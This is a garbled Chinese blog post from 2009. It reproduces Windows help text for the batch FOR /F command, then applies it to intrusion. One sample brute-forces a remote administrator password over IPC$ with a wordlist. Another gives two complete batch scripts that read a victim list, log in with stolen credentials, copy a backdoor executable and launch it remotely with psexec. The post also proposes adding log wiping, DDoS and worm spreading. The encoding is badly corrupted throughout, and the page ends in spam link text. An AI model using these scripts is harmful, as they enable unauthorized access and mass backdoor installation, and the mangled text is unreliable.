那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br /> usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命oq允许在 fi
中用双引号扩v文g名称?br />
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分?myfile.txt 中的每一行,忽略以分h头的那些行,?br /> 每行中的W二个和W三个符号传递给 for E序体;用逗号??br /> I格定界W号。请注意Q这?for E序体的语句引用 %i ?br /> 取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,您需要用双引号将文g名括h。ؓ了用q种方式来
用双引号Q您q需要?usebackq 选项Q否则,双引号会
被理解成是用作定义某个要分析的字W串的?br />
%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一?br /> 指定最?26 个符P只要不试图说明一个高于字?z ?br /> Z 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?br />
您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br /> 用单引号括号之间的 filenameset 括v来。这P该字W?br /> 串会被当作一个文件中的一个单一输入行?br />
最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会
被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进
内存Qƈ被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚丑ֽ前环境中的环境变量名U?br />
另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br /> %~dI - 仅将 %I 扩充C个驱动器?br /> %~pI - 仅将 %I 扩充C个\?br /> %~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br /> %~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br /> 未被定义Q或者没有找到文Ӟ此组合键会扩?br /> I字W串

可以l合修饰W来得到多重l果:

%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br /> %~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br /> %~ftzaI - ?%I 扩充到类D出线路的 DIR

在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?br />
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?br />
sample2Q?br />
利用For命o来实现对一台目标Win2kL的暴力密码破解?br /> 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br /> 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命o成功完成">>D:\ok.txt Q这样就ko了?br />
sample3Q?br />
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?br />
主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?br /> @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br /> 而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br /> delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br /> 代码雏ŞQ?br />
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br /> 可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?


moonandsun 2009-03-07 10:02 发表评论
]]>
վ֩ģ壺 ޷츾 | ޹һ| 99reѾƷƵۿ | þþþþþþþùƷ| ޾ƷĻ| ҹƵ| Ƭѹۿ| vavavaֻ| ŷƷպһҹҹ | ޹רһ| 4444wwwѿ| ߹ۿ| ޴Ƭѹۿ| ޵һ߹ۿ| 2018ĻƵ| ձŷɫƵ߲ | žȫƵ| ˾þô߽ӰԺ| ޹˾þþƷ99 | aëƬѲ| ŷav߹ۿ | ɫһ վ| avҹƷר| Ʒպһ| Ů˿ƬƵ| ʮ˽߹ۿƵ| avպavվ| ŷղۺ| ޾Ʒһþ| 97޳| һ| ݾþþƷۺר| ޹Ƶվ| ձþþþĻ| ɫĻվ| avƬ߲| վ߹ۿ| þþƷ뾫Ʒר| һһˬһ߽дƵ| av˾Ʒһ| wŷs|